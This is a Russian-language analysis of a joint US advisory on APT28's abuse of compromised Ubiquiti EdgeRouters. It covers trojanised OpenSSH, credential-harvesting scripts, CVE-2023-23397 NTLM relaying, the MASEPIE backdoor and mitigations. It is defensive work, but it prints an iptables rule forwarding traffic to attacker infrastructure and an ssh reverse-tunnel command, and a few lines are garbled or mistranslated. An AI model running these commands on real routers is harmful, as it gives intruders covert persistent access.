Аннотация –представлен анализ документа, опубликованного на официальном сайте Минобороны США, описывающего использование скомпрометированных маршрутизаторов Ubiquiti EdgeRouters по всему миру.

Этот анализ предоставляет качественную выжимку документа, делая его доступным для широкой аудитории, включая специалистов по кибербезопасности, сетевых администраторов и руководителей ИТ-отделов. Он позволяет понять угрозы APT28, что даёт возможность разработать эффективные стратегии защиты, методы идентификации и реагирования в сетевом оборудовании), а также стратегический взгляд на управление рисками и необходимость внедрения рекомендаций по смягчению угрозы для защиты организационной инфраструктуры.

I. Введение

Документ под названием “Cyber Actors Use Compromised Routers to Facilitate Cyber Operations”, опубликованный ФБР, АНБ, киберкомандованием США и международными партнёрами предупреждает об использовании скомпрометированных маршрутизаторов Ubiquiti EdgeRouters для облегчения вредоносных кибероперацій по всему миру.

Популярность Ubiquiti EdgeRouters объясняется удобной в использовании ОС на базе Linux, учётными данными по умолчанию и ограниченной защитой брандмауэром. Маршрутизаторы часто поставляются с небезопасными конфигурациями по умолчанию и не обновляют прошивку автоматически.

Скомпрометированные EdgeRouters использовались APT28 для сбора учётных данных, дайджестов NTLMv2, сетевого трафика прокси-сервера и размещения целевых страниц для фишинга и пользовательских инструментов. APT28 получила доступ к маршрутизаторам, используя учётные данные по умолчанию, и троянизировала серверные процессы OpenSSH. Наличие root-доступ к скомпрометированным маршрутизаторам, дало доступ к ОС для установки инструментов и сокрытия своей личности.

APT28 также развернула пользовательские скрипты Python на скомпрометированных маршрутизаторах для сбора и проверки украденных данных учётной записи веб-почты, полученных с помощью межсайтовых скриптов и кампаний фишинга "браузер в браузере". Кроме того, они использовали критическую уязвимость с повышением привилегий на нулевой день в Microsoft Outlook (CVE-2023–23397) для сбора данных NTLMv2 из целевых учётных записей Outlook и общедоступные инструменты для оказания помощи в атаках с ретрансляцией NTLM

II. Ключевые моменты

- APT28 (известные как Fancy Bear, Forest Blizzard и Strontium) использовали скомпрометированные серверы Ubiquiti EdgeRouters для проведения вредоносных кибероперацій по всему миру.
- Эксплуатация включает сбор учётных данных, сбор дайджестов NTLMv2, проксирование сетевого трафика, а также размещение целевых страниц для фишинга и пользовательских инструментов.
- ФБР, АНБ, киберкомандование США и международные партнеры выпустили совместное консультативное заключение по кибербезопасности (CSA) с подробным описанием угрозы и рекомендациями по ее устранению.
- Рекомендации включают наблюдаемые тактики, методы и процедуры (TTP), индикаторы компрометации (IoC) для сопоставления с системой MITRE ATT&CK framework.
- В рекомендациях содержится настоятельный призыв к немедленным действиям по устранению угрозы, включая выполнение заводских настроек оборудования, обновление встроенного ПО, изменение учётных данных по умолчанию и внедрение стратегических правил брандмауэра.
- APT28 использует скомпрометированные EdgeRouters как минимум с 2022 года для содействия операциям против различных отраслей промышленности и стран, включая США.
- EdgeRouters популярны благодаря своей удобной операционной системе на базе Linux, но часто поставляются с учётными данными по умолчанию и ограниченной защитой брандмауэром.
- В рекомендациях содержатся подробные TTP и IOC, которые помогут сетевым защитникам идентифицировать угрозу и смягчить ее последствия.
- Рекомендация также включает информацию о том, как сопоставить вредоносную кибератакивность с платформой MITRE ATT & CK framework.

- Организации, использующие Ubiquiti EdgeRouters, должны принять немедленные меры для защиты своих устройств от использования APT28.
- Рекомендуемые действия включают сброс оборудования к заводским настройкам, обновление до последней версии прошивки, изменение имен пользователей и паролей по умолчанию и внедрение стратегических правил брандмауэра.

III. Активность группы

Операции были нацелены на различные отрасли, включая аэрокосмическую и оборонную, образование, энергетику и коммунальные услуги, госсектор, гостиничный бизнес, нефть и газ, розничную торговлю, технологии и транспорт. Целевые страны включают Чешскую Республику, Италию, Литву, Иорданию, Черногорию, Польшу, Словакию, Турцию, Украину, Объединённые Арабские Эмираты и США

Потенциальные последствия воздействия включают:

- Утечка данных и кража конфиденциальной информации, интеллектуальной собственности или коммерческой тайны.
- Нарушение работы критически важных объектов инфраструктуры, таких как электросети, транспортные системы или производственные процессы.
- Компрометация правительственных сетей и систем, потенциально ведущая к шпионажу или угрозам национальной безопасности.
- Финансовые потери из-за сбоев в работе, кражи данных клиентов или ущерба репутации.
- Потенциальные риски для безопасности в случае взлома систем управления или сетей операционных технологий (OT).
- Потеря доверия клиентов и доверия к пострадавшим организациям.

IV. OpenSSH-Троян Moobot

APT28 использовали учётные данные по умолчанию и троянизированные серверные процессы OpenSSH для доступа к Ubiquiti EdgeRouters, связанеые с Moobot, ботнетом на базе Mirai, который заражает устройства Интернета вещей (IoT) с использованием уязвимостей, которые можно использовать удалённо, таких как слабые пароли или пароли по умолчанию.

A. Троянские файлы OpenSSH-сервера

Троянские бинарные OpenSSH, загруженные с packinstall[.]kozow [.]com, заменили оригинальные бинарные файлы на EdgeRouters с целью удалённо обходить аутентификацию и получать несанкционированный доступ к скомпрометированным маршрутизаторам.

Ботнет Moobot известен своей способностью использовать уязвимости в устройствах Интернета вещей, особенно с ненадёжными паролями или паролями по умолчанию. Заменяя законные двоичные файлы сервера OpenSSH троянскими версиями, APT28 могут поддерживать постоянный доступ к скомпрометированным EdgeRouters и использовать их в различных вредоносных целях.

B. Ботнет на базе Mirai

Moobot – это ботнет на базе Mirai и является производным от Mirai, которая впервые появилась в 2016 году. Mirai был предназначен для сканирования и заражения IoT-устройств путём использования распространённых уязвимостей и учётных данных по умолчанию. Как только устройство заражено, оно становится частью ботнета и может использоваться для распределённых атак типа "отказ в обслуживании" (DDoS), credential stuffing и других вредоносных действий.

C. Воздействие на маршрутизаторы EdgeRouters

При наличии троянизированных процессов OpenSSH APT28 могут поддерживать постоянный доступ к скомпрометированным маршрутизаторы и использовать их в качестве платформы для вредоносных действий:

- Сбор учётных данных
- Сбор дайджестов NTLMv2
- Проксирование сетевого трафика
- Размещение целевых страниц для защиты от фишинга и пользовательских инструментов

V. Доступ с учётными данными через скрипты Python

APT28 размещали скрипты Python на скомпрометированных Ubiquiti EdgeRouters для сбора и проверки украденных учётных данных учётной записи веб-почты. Эти сценарии обычно хранятся вместе со связанными файлами журналов в домашнем каталоге скомпрометированного пользователя, например:

- /home/<compromised user>/srv/core.py
- /home/<compromised user>/srv/debug.txt

ФБР заявило о восстановлении подробных файлов журналов, содержащие информацию об активности APT28 на скомпрометированных EdgeRouters.

A. Пользовательские скрипты на Python

Размещённые крипты Python служат для сбора и проверки украденных данных учётной записи веб-почты. APT28 используют эти скрипты как часть своих операций сбора учётных данных, нацеленных на конкретных пользователей веб-почты.

Скрипты предназначены для автоматического устранения проблем с капчей на страницах входа в веб-почту, позволяя атакующим обойти эту меру безопасности и получить несанкционированный доступ к целевым учётным записям. Чтобы достичь этого, скрипты устанавливают соединения с API endpoint api[.]anti-captcha[.]com, который используется APT28 для решения проблем с капчей.

B. *Yara-правила для обнаружения*

Чтобы помочь найти скрипты сбора учётных данных на скомпрометированных EdgeRouters, ФБР разработало правило Yara. Yara – это инструмент, используемый для идентификации и классификации вредоносных программ на основе текстовых или двоичных шаблонов. Предоставленное ФБР правило Yara можно использовать для сканирования файловой системы EdgeRouters и обнаружения присутствия скриптов Python.

Помимо использования правила Yara, можно также запрашивать сетевой трафик на предмет подключений к api[.]anti-captcha[.]com endpoint. Обнаружение трафика, направленного к этому API, может помочь выявить скомпрометированные EdgeRouters и потенциальные действия по сбору учётных данных.

C. *Смягчение последствий*

При обнаружении наличия скриптов или подключений к api[.]anti-captcha[.]com endpoint сетевые необходимо предпринять немедленные действия для снижения риска и исследовать степень компрометации. Изоляция затронутых маршрутизаторов Edge от сети

- Выполнение тщательного анализа сценариев и файлов журналов для понимания объема операций по сбору учётных данных
- Сброс паролей для потенциально скомпрометированных учётных записей веб-почты

VI. Эксплуатация CVE-2023-23397

APT28 использовали CVE-2023–23397, уязвимость с критическим повышением привилегий в Microsoft Outlook в Windows, для облегчения утечки учётных данных NTLMv2. Эта 0day-уязвимость позволяет передавать хэши Net-NTLMv2 в подконтрольную инфраструктуру.

A. *Сбор учётных данных NTLMv2*

Для использования CVE-2023–23397 и сбора учётных данных NTLMv2 использованы два общедоступных инструмента:

- **ntlmrelayx.py:** инструмент является частью Impacket suite, набора классов Python для работы с сетевыми протоколами. APT28 использовали ntlmrelayx.py для выполнения relay-атак NTLM [T1557] и облегчения утечки учётных данных NTLMv2.
- **Responder:** инструмент, предназначенный для сбора и передачи хэшей NTLMv2 путём настройки подконтрольного сервера аутентификации [T1556] для сбора учётных данных NTLMv2 от целевых учётных записей Outlook.

Безопасники могут выполнять поиск файлов журналов, а также наличия ntlmrelayx.py и Responder.db, Responder-Session.log для выявления потенциальной активности, связанной с эксплуатацией CVE-2023–23397.

B. *Смягчение последствий*

Чтобы снизить риск использования CVE-2023–23397 и утечки учётных данных NTLMv2 следует предпринять следующие шаги:

- **Применение исправления Microsoft:** Microsoft выпустила исправление для CVE-2023–23397.
- **Проверка на наличие скомпрометированных EdgeRouters:** необходимо использовать предоставленную информацию для проверки EdgeRouters на наличие ntlmrelayx.py, связанных с ними файлов журналов, провести идентификацию и изоляцию всех скомпрометированных маршрутизаторов для дальнейшего расследования.
- **Сброс скомпрометированных учётных данных:** при обнаружении утечки учётных данных NTLMv2 следует сбросить соответствующие учётные записи пользователей и применить дополнительные меры безопасности, такие как MFA.
- **Применение рекомендуемых мер по устранению неполадок:** меры по устранению включают сброс настроек оборудования к заводским настройкам, обновление до последней версии встроенного ПО и изменение имён пользователей и паролей по умолчанию.

VII. Прокси-сервер и туннельная инфраструктура

APT28 использовали скомпрометированные Ubiquiti EdgeRouters для установления прокси-соединений и SSH-туннелей к подконтрольной инфраструктуре для поддержания постоянного доступа и контроля над скомпрометированными устройствами даже после смены пароля или других попыток взлома.

A. *Reverse proxy-подключения*

Были использованы правила iptables в EdgeRouters для установления подключений, например:

```
iptables -t nat -I PREROUTING -d <router IP address> -p tcp -m tcp --dport 4443 -j DNAT -to-destination <APT28 dedicated infrastructure>:10081
```

Это правило iptables перенаправляет входящий трафик через порт 4443 EdgeRouter в выделенную инфраструктуру на порту 10081.

B. *Reverse SSH-туннели*

Кроме того, APT28 загрузили контролируемые SSH-RSA-ключи на скомпрометированные EdgeRouters для создания SSH-туннелей. Эти туннели позволяют получать доступ к скомпрометированным устройствам даже после смены пароля или других попыток взлома.

Следующие каталоги необходимо просмотреть на предмет неизвестных ключей RSA:

- /root/.ssh/
- /home/<user>/.ssh/

Наличие неизвестных ключей RSA в этих каталогах может указывать на то, что их использовали для доступа к EdgeRouters в обход аутентификации по паролю.

Кроме того, безопасники могут проверить журналы сетевого трафика на EdgeRouters для идентификации аномальные сеансы SSH:

```
ssh –i <RSA key> -p <port> root@<router IP address> -R <router IP address>:<port>
```

Эта команда устанавливает SSH-туннель от EdgeRouter к инфраструктуре, позволяя поддерживать удалённый доступ и контроль над скомпрометированным устройством.

VIII. Вредоносная программа MASEPIE

В декабре 2023 года APT28 разработали MASEPIE, небольшой бэкдор на Python, способный выполнять произвольные команды на машинах-жертвах. Расследование ФБР показало, что скомпрометированные Ubiquiti EdgeRouters были использованы в качестве C2-инфраструктуры для бэкдоров MASEPIE.

A. Командно-контрольная инфраструктура

Хотя APT28 не развёртывает MASEPIE на самих EdgeRouters, скомпрометированные маршрутизаторы использовались в качестве инфраструктуры C2 для связи с бэкдорами MASEPIE и контроля над ними, установленными в системах, принадлежащих целевым лицам и организациям.

Данные, отправляемые на EdgeRouters, действующие как серверы C2, были зашифрованы с использованием случайно сгенерированного 16-символьного ключа AES, для затруднения обнаружения и анализа трафика.

B. Функциональность бэкдора MASEPIE

MASEPIE – это бэкдор на основе Python, который позволяет выполнять произвольные команды в заражённых системах. Этот бэкдор предоставляет возможности удалённого управления для выполнения действий:

- эксфильтрация данных
- распространение внутри скомпрометированной сети
- развёртывание дополнительных вредоносных программ или инструментов
- выполнение команд разведки и сбора разведданных

C. Смягчение последствий

Чтобы снизить риск появления бэкдоров MASEPIE и использования скомпрометированных EdgeRouters в качестве C2-инфраструктуры, следует предпринять следующие шаги:

- **Внедрение защиты конечных устройств:** развёртывание решений для защиты конечных устройств, способных обнаруживать и предотвращать выполнение MASEPIE и других вредоносных скриптов Python или бэкдоров.
- **Мониторинг сетевого трафика:** отслеживание сетевого трафика на предмет любых подозрительных зашифрованных сообщений или подключений к известной инфраструктуре, включая скомпрометированные EdgeRouters.
- **Анализ сетевых журналов:** просмотр сетевых журналов на предмет признаков зашифрованных сообщений или подключений к EdgeRouters, которые могут действовать как серверы C2.

IX. TTPs MITRE ATT&CK

A. Разработка:

T1587 (разработка): создание пользовательских Py-скриптов для сбора учётных данных в т.ч веб-почты.

T1588 (возможности получения): доступ к EdgeRouters, скомпрометированным ботнетом Moobot, который устанавливает троянские программы OpenSSH.

B. Первоначальный доступ:

T1584 (скомпрометированная инфраструктура): доступ к EdgeRouters, ранее скомпрометированным троянцем OpenSSH.

T1566 (фишинг): межсайтовые скриптовые кампании и фишинговые кампании "браузер в браузере".

C. Выполнение:

T1203 (Использование для выполнения клиентом): использование уязвимости CVE-2023-23397.

D. Закрепление:

T1546 (выполнение, инициируемое событием): На скомпрометированных маршрутизаторах были размещены скрипты Bash и двоичные файлы ELF, предназначенные для бэкдора демонов OpenSSH и связанных с ними служб.

E. Доступ с учётными данными:

T1557 (Злоумышленник посередине): инструменты Impacket ntlmrelayx.py и Responder, на скомпрометированные маршрутизаторы для выполнения ретрансляционных атак NTLM.

T1556 (Изменение процесса аутентификации): серверы аутентификации-мошенники NTLMv2 для изменения процесса аутентификации с использованием и передачей украденных учётных данных.

F. Сбор данных:

T1119 (автоматический сбор): APT28 использовал CVE-2023-23397 для автоматизации сбора хэшей NTLMv2.

G. Эксфильтрация данных:

T1020 (автоматизир2023–23397 сфильтрация): использование CVE-2023-23397 для автоматизации эксфильтрации данных в подконтрольную инфраструктуру.